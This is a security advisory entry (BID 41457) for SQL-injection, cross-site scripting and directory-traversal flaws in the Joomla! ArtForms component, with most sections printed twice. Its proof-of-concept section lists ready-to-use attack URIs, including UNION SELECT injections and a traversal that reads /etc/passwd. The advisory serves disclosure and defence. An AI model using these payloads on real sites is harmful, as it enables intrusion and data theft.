Joomla! ArtForms Component Multiple Vulnerabilities
BID:41457
Info
Joomla! ArtForms Component Multiple Vulnerabilities
| Bugtraq ID: | 41457 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-2846 CVE-2010-2847 CVE-2010-2848 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 07 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Salvatore Fresta aka Drosophila |
| Vulnerable: |
Joomla ArtForms 2.1b7.2 RC2 |
| Not Vulnerable: | |
Discussion
Joomla! ArtForms Component Multiple Vulnerabilities
The ArtForms component for Joomla! is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and a directory-traversal vulnerability.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or disclose sensitive information.
ArtForms 2.1b7.2 RC2 is vulnerable; other versions may also be affected.
The ArtForms component for Joomla! is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and a directory-traversal vulnerability.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or disclose sensitive information.
ArtForms 2.1b7.2 RC2 is vulnerable; other versions may also be affected.
Exploit / POC
Joomla! ArtForms Component Multiple Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
SQL-Injection:
http://www.example.comindex.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
http://www.example.comindex.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
http://www.example.comindex.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
Cross-site Scripting:
http://www.example.comindex.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>
Directory Traversal:
http://www.example.com/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
SQL-Injection:
http://www.example.comindex.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
http://www.example.comindex.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
http://www.example.comindex.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
Cross-site Scripting:
http://www.example.comindex.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>
Directory Traversal:
http://www.example.com/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00
Solution / Fix
Joomla! ArtForms Component Multiple Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! ArtForms Component Multiple Vulnerabilities
References:
References:
- ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities (Salvatore Fresta aka Drosophila)
- ArtForms Homepage (Joomla)